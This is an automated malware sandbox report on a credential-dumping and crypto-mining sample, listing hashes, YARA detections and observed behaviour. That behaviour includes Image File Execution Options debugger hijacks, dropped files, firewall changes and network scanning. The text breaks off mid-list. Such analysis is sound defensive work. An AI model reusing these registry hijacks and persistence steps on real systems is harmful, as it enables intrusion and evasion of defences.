Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system - submitted
28/06/2024, 00:26
Behavioral task
behavioral1
Sample
2024-06-28_0d379dfb30934cb32146bf40d7aa6459_hacktools_icedid_mimikatz.exe
Resource
win7-20240220-en
windows7-x64
39 signatures
150 seconds
Behavioral task
behavioral2
Sample
2024-06-28_0d379dfb30934cb32146bf40d7aa6459_hacktools_icedid_mimikatz.exe
Resource
win10v2004-20240508-en
windows10-2004-x64
37 signatures
150 seconds
General
- Target 2024-06-28_0d379dfb30934cb32146bf40d7aa6459_hacktools_icedid_mimikatz.exe
- Size 8.3MB
- Sample240628-aq84js1blc
- SHA256 470b00c3d3b7d203ba787d6a497c83ea3dfb7932eef5582434ce305ccd28c311
- MD5 0d379dfb30934cb32146bf40d7aa6459
- SHA1 5712e842fcd15e5643e3bb836345ef6b79dfd38b
- SHA512 f4c2bbfea0a77e9c243764831d17970dd0d4e85bd42372b123feb553f6541b8b7c7cc0ff3a1a14147d98096acb7fad1dbcc786ec14b2c9ceb0277fa0f391cf3d
- SSDEEP 196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2896 created 2068 2896 mcimnvm.exe 37 - Contacts a large (45222) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
resource yara_rule behavioral2/memory/3292-138-0x00007FF658670000-0x00007FF65875E000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore - UPX dump on OEP (original entry point) 39 IoCs
resource yara_rule behavioral2/memory/2560-0-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral2/memory/2560-4-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral2/files/0x00080000000233c9-7.dat UPX behavioral2/memory/3928-8-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral2/files/0x000700000002341e-134.dat UPX behavioral2/memory/3292-136-0x00007FF658670000-0x00007FF65875E000-memory.dmp UPX behavioral2/memory/3292-138-0x00007FF658670000-0x00007FF65875E000-memory.dmp UPX behavioral2/files/0x0007000000023429-141.dat UPX behavioral2/memory/1720-142-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp UPX behavioral2/memory/1720-146-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp UPX behavioral2/files/0x0007000000023426-163.dat UPX behavioral2/memory/1228-164-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp UPX behavioral2/memory/2296-171-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp UPX behavioral2/memory/5100-175-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp UPX behavioral2/memory/5708-187-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp UPX behavioral2/memory/2944-191-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp UPX behavioral2/memory/1228-194-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp UPX behavioral2/memory/2100-196-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp UPX behavioral2/memory/5196-200-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp UPX behavioral2/memory/1228-202-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp UPX behavioral2/memory/5624-205-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp UPX behavioral2/memory/5540-209-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp UPX behavioral2/memory/1228-211-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp UPX behavioral2/memory/1000-214-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp UPX behavioral2/memory/5432-218-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp UPX behavioral2/memory/1228-220-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp UPX behavioral2/memory/5116-223-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp UPX behavioral2/memory/4356-227-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp UPX behavioral2/memory/1228-229-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp UPX behavioral2/memory/3356-231-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp UPX behavioral2/memory/3396-233-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp UPX behavioral2/memory/2616-235-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp UPX behavioral2/memory/1228-236-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp UPX behavioral2/memory/6044-238-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp UPX behavioral2/memory/5924-242-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp UPX behavioral2/memory/1228-243-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp UPX behavioral2/memory/1228-244-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp UPX behavioral2/memory/1228-245-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp UPX behavioral2/memory/1228-246-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp UPX - XMRig Miner payload 10 IoCs
resource yara_rule behavioral2/memory/1228-194-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp xmrig behavioral2/memory/1228-202-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp xmrig behavioral2/memory/1228-211-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp xmrig behavioral2/memory/1228-220-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp xmrig behavioral2/memory/1228-229-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp xmrig behavioral2/memory/1228-236-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp xmrig behavioral2/memory/1228-243-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp xmrig behavioral2/memory/1228-244-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp xmrig behavioral2/memory/1228-245-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp xmrig behavioral2/memory/1228-246-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp xmrig - mimikatz is an open source tool to dump credentials on Windows 5 IoCs
resource yara_rule behavioral2/memory/2560-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral2/memory/2560-4-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral2/files/0x00080000000233c9-7.dat mimikatz behavioral2/memory/3928-8-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral2/memory/3292-138-0x00007FF658670000-0x00007FF65875E000-memory.dmp mimikatz - Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts mcimnvm.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts mcimnvm.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" mcimnvm.exe - Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 4336 netsh.exe 4600 netsh.exe - Executes dropped EXE 28 IoCs
pid Process 3928 mcimnvm.exe 2896 mcimnvm.exe 732 wpcap.exe 3220 cgybaeemc.exe 3292 vfshost.exe 1720 jrrgbbtmm.exe 2028 xohudmc.exe 2744 ogiqci.exe 1228 bcrbri.exe 2296 jrrgbbtmm.exe 5100 jrrgbbtmm.exe 3100 bliyufsdy.exe 5708 jrrgbbtmm.exe 2944 jrrgbbtmm.exe 2100 jrrgbbtmm.exe 5196 jrrgbbtmm.exe 5624 jrrgbbtmm.exe 5540 jrrgbbtmm.exe 1000 jrrgbbtmm.exe 5432 jrrgbbtmm.exe 5116 jrrgbbtmm.exe 4356 jrrgbbtmm.exe 3356 jrrgbbtmm.exe 3396 jrrgbbtmm.exe 2616 jrrgbbtmm.exe 6044 jrrgbbtmm.exe 4404 mcimnvm.exe 5924 jrrgbbtmm.exe - Loads dropped DLL 12 IoCs
pid Process 732 wpcap.exe 732 wpcap.exe 732 wpcap.exe 732 wpcap.exe 732 wpcap.exe 732 wpcap.exe 732 wpcap.exe 732 wpcap.exe 732 wpcap.exe 3220 cgybaeemc.exe 3220 cgybaeemc.exe 3220 cgybaeemc.exe -
resource yara_rule behavioral2/files/0x000700000002341e-134.dat upx behavioral2/memory/3292-136-0x00007FF658670000-0x00007FF65875E000-memory.dmp upx behavioral2/memory/3292-138-0x00007FF658670000-0x00007FF65875E000-memory.dmp upx behavioral2/files/0x0007000000023429-141.dat upx behavioral2/memory/1720-142-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp upx behavioral2/memory/1720-146-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp upx behavioral2/files/0x0007000000023426-163.dat upx behavioral2/memory/1228-164-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp upx behavioral2/memory/2296-171-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp upx behavioral2/memory/5100-175-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp upx behavioral2/memory/5708-187-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp upx behavioral2/memory/2944-191-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp upx behavioral2/memory/1228-194-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp upx behavioral2/memory/2100-196-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp upx behavioral2/memory/5196-200-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp upx behavioral2/memory/1228-202-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp upx behavioral2/memory/5624-205-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp upx behavioral2/memory/5540-209-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp upx behavioral2/memory/1228-211-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp upx behavioral2/memory/1000-214-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp upx behavioral2/memory/5432-218-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp upx behavioral2/memory/1228-220-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp upx behavioral2/memory/5116-223-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp upx behavioral2/memory/4356-227-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp upx behavioral2/memory/1228-229-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp upx behavioral2/memory/3356-231-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp upx behavioral2/memory/3396-233-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp upx behavioral2/memory/2616-235-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp upx behavioral2/memory/1228-236-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp upx behavioral2/memory/6044-238-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp upx behavioral2/memory/5924-242-0x00007FF7297F0000-0x00007FF72984B000-memory.dmp upx behavioral2/memory/1228-243-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp upx behavioral2/memory/1228-244-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp upx behavioral2/memory/1228-245-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp upx behavioral2/memory/1228-246-0x00007FF6A9CD0000-0x00007FF6A9DF0000-memory.dmp upx - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 17 ifconfig.me - Creates a Windows Service
- Drops file in System32 directory 10 IoCs
description ioc Process File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\SysWOW64\ogiqci.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\ogiqci.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 mcimnvm.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE mcimnvm.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies mcimnvm.exe - Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe - Drops file in Windows directory 59 IoCs
description ioc Process File created C:\Windows\vynlhdice\UnattendGC\specials\cnli-1.dll mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\ssleay32.dll mcimnvm.exe File created C:\Windows\vynlhdice\Corporate\vfshost.exe mcimnvm.exe File created C:\Windows\tgindfmu\docmicfg.xml mcimnvm.exe File opened for modification C:\Windows\tgindfmu\docmicfg.xml mcimnvm.exe File opened for modification C:\Windows\tgindfmu\mcimnvm.exe 2024-06-28_0d379dfb30934cb32146bf40d7aa6459_hacktools_icedid_mimikatz.exe File created C:\Windows\vynlhdice\UnattendGC\specials\vimpcsvc.exe mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\docmicfg.xml mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\spoolsrv.xml mcimnvm.exe File created C:\Windows\vynlhdice\lrzberikl\bliyufsdy.exe mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\coli-0.dll mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\svschost.exe mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\schoedcl.xml mcimnvm.exe File opened for modification C:\Windows\tgindfmu\spoolsrv.xml mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\libeay32.dll mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\docmicfg.xml mcimnvm.exe File created C:\Windows\vynlhdice\upbdrjv\swrpwe.exe mcimnvm.exe File opened for modification C:\Windows\vynlhdice\lrzberikl\Packet.dll mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\vimpcsvc.xml mcimnvm.exe File opened for modification C:\Windows\tgindfmu\svschost.xml mcimnvm.exe File created C:\Windows\vynlhdice\Corporate\mimilib.dll mcimnvm.exe File created C:\Windows\vynlhdice\lrzberikl\wpcap.dll mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\exma-1.dll mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\spoolsrv.exe mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\vimpcsvc.xml mcimnvm.exe File created C:\Windows\vynlhdice\lrzberikl\Packet.dll mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\schoedcl.xml mcimnvm.exe File created C:\Windows\tgindfmu\svschost.xml mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\crli-0.dll mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\trfo-2.dll mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\xdvl-0.dll mcimnvm.exe File created C:\Windows\tgindfmu\vimpcsvc.xml mcimnvm.exe File opened for modification C:\Windows\tgindfmu\schoedcl.xml mcimnvm.exe File created C:\Windows\vynlhdice\lrzberikl\ip.txt mcimnvm.exe File created C:\Windows\vynlhdice\lrzberikl\wpcap.exe mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\posh-0.dll mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\tibe-2.dll mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\zlib1.dll mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\AppCapture32.dll mcimnvm.exe File opened for modification C:\Windows\vynlhdice\Corporate\log.txt cmd.exe File created C:\Windows\vynlhdice\lrzberikl\scan.bat mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\libxml2.dll mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\spoolsrv.xml mcimnvm.exe File created C:\Windows\tgindfmu\schoedcl.xml mcimnvm.exe File opened for modification C:\Windows\tgindfmu\vimpcsvc.xml mcimnvm.exe File created C:\Windows\vynlhdice\lrzberikl\cgybaeemc.exe mcimnvm.exe File created C:\Windows\ime\mcimnvm.exe mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\trch-1.dll mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\svschost.xml mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\Shellcode.ini mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\AppCapture64.dll mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\svschost.xml mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\ucl.dll mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\docmicfg.exe mcimnvm.exe File created C:\Windows\vynlhdice\Corporate\mimidrv.sys mcimnvm.exe File created C:\Windows\tgindfmu\mcimnvm.exe 2024-06-28_0d379dfb30934cb32146bf40d7aa6459_hacktools_icedid_mimikatz.exe File created C:\Windows\vynlhdice\UnattendGC\specials\tucl-1.dll mcimnvm.exe File created C:\Windows\vynlhdice\UnattendGC\specials\schoedcl.exe mcimnvm.exe File created C:\Windows\tgindfmu\spoolsrv.xml mcimnvm.exe - Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4412 sc.exe 5112 sc.exe 4796 sc.exe 1800 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried 